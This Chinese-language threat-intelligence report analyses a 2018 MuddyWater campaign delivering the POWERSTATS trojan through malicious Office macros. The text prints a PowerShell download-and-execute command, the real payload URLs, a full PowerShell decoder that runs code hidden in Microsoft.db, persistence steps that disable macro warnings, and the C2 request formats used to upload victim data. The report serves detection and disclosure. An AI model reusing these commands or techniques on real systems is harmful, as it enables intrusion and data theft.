APT組織“MuddyWater(污水)”最新動向分析
發布時間 2018-12-01在對日常樣本的跟蹤中,我們發現了一些新的“MuddyWater”的特種木馬“POWERSTATS”,并基本確定這些樣本為MuddyWater組織最新攻擊活動的產物。
載荷分析
最新攻擊仍通過郵件途徑采用惡意文檔的方式并配合社會工程學進行投放。


相關文檔均嵌入了模糊圖片以引誘受害者點擊啟用惡意宏代碼,文檔中包含的惡意宏代碼基本相似,都使用同一種算法進行數據解密。Pyhton解密代碼如下:
“”.join([chr(int(data[_:_+3]) - KEY) for _ in range(0,len(data),3)])
數據解密之后主要執行如下powershell代碼:
powershell -exec bypass -c ""IEX((New-Object Net.WebClient).DownloadString(\'URL'))
相關文檔的下載的鏈接分別如下:
http://pazazta.com/app/icon[.]png
http://3cbc.net/dropbox/icon[.]icon
http://ohe.ie/cli/icon[.]png
http://ohe.ie/cp/icon[.]png
下載的文件均為powershell代碼,通過使用powershell執行這些下載的攻擊載荷來執行如下惡意操作:
(1)將js變量中的代碼使用Base64編碼解碼,并寫入到C:\Windows\Temp\temp.jpg文件中。
(2)將vbs變量中代碼使用Base64編碼解碼并用二進制形式寫入到C:\Windows\temp\Windows.vbe文件中,或者將vbs變量中的數據直接以二進制形式寫入到C:\Windows\temp\Windows.vbe文件中。
(3)將code變量的數據直接寫入到C:\ProgramData\Microsoft.db文件中。
(4)啟動C:\Windows\temp\Windows.vbe。
在釋放的文件中,Windows.vbe會調用cscript.exe來執行C:\\Windows\\Temp\\temp.jpg中的Javascript代碼,該代碼經過混淆,解開混淆之后我們發現該代碼主要執行如下的powershell代碼:
powershell.exe -exec Bypass -c $s=(get-content C:\\ProgramData\\Microsoft.db);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join('',$d));
該段Powershell代碼用于解密Microsoft.db中的文件,并執行解密后的代碼,解密后的powershell會再次解密一段數據,該數據先使用Base64解碼,然后再對數據使用解壓算法進行解壓,得到一段經過大量混淆的powershell代碼,混淆方法基本依靠字符換替換,倒序等方式,解開混淆后為該組織專有特種木馬“POWERSTATS”。
POWERSTATS木馬分析
POWERSTATS木馬首先會設置一系列注冊表項目,來禁用Office宏警告和保護視圖。這是為了確保未來的攻擊不需要用戶交互。甚至還允許宏代碼訪問內部VBA對象,以便在將來的攻擊中執行更隱蔽的宏代碼,同時將
“C:\windows\system32\wscript.exeC:\Windows\temp\Windows.vbe”寫入到開機自啟項Microsoft Edge中,然后設置了一個名為Microsoft Edge的定時任務來定時調用wscript.exe執行Windows.vbe,以便保證該惡意程序在系統中的駐留與定時運行。
之后POWERSTATS將執行接下來的一系列惡意行為,首先POWERSTATS木馬會從自己設置的三個加密的數據中隨機抽選一個進行解密,解密出來為需要進行交互的C&C服務器地址,解密算法如下(Python):
"".join([chr(ord(a[_%len(KEY)])^ord(DecryptByBase64(Data)[_])) for _ in xrange(len(DecryptByBase64(Data)))])
解密后的C&C如下

接著,會獲取一系列用戶數據,使用”**”拼接到一起使用UTF-8編碼,然后再計算出MD5值,作為此次的獲取到的數據的唯一標識,最終構造如下URL:
[C&C]?t=[7d4580a3910c54d62b46f24c397c8d59]&f=s&type=info&id=global_key
然后將之前獲取到的用戶數據進行上傳,上傳的數據經過加密,加密算法的如下:
該算法對每個字符進行加密,這種方式的加密字符基本不存在可逆的情況,但是單個字符串使用算法得到的加密字符其實是相同的,我認為服務器存在一張字節替換表來替換每個加密后的數據,在第一次將數據上傳之后,如果服務器返回“OK”表示正確接收數據,然后再生成20個隨機字符,經過MD5加密之后,以如下的URL格式發送POST請求,發送的數據為隨機生成的20個字符,來表明可以進行下一步操作。
[C&C]?t=[7d4580a3910c54d62b46f24c397c8d59]&f=s&type=live&id=global_key
如果服務器返回OK則表示可以進行接下來的操作,然后惡意程序會向服務器進行如下的GET請求
[C&C]?t=[7d4580a3910c54d62b46f24c397c8d59]&f=g&type=cmd&id=global_key。
如果服務器正確響應,其返回的數據格式如下:[ID]"~~!!~~"[Operand][Data]
其中不同的操作碼會有不同的功能,對應如下:

執行完對應的功能之后,將返回值進行Base64進行編碼然后以如下的格式將數據上傳
[ID]:[Result]
與之前攻擊的關聯
在與今年10月披露的MuddyWater的攻擊樣本對比后我們發現,最后執行真正惡意行為的Posershell代碼與本次的代碼基本一致,包括其解密URL的算法與key,Javascript中解密Powershell代碼的算法,與C&C交互的指令功能等。我們形成如下對照表。

可以發現該組織在本次攻擊中主要改善了一些最終powershell代碼的調用過程,讓更多的攻擊載荷遷移到C&C服務器中,這樣使后續的操作變得更加靈活和持久。
相關IOC:
5935522717aee842433a5de9d228a715
ca9230a54f40a6a0fe52d7379459189c
0cf25597343240f88358c694d7ae7e0a
a256abb5da891f109acf8a496d9792c4
hxxp://pazazta.com/app/icon[.]png
hxxp://3cbc.net/dropbox/icon[.]icon
hxxp://ohe.ie/cli/icon[.]png
hxxp://ohe.ie/cp/icon[.]png
C:\\ProgramData\\Microsoft.db
C:\\ProgramData\\Microsoft.vbe
C:\\Windows\\Temp\\temp.jpg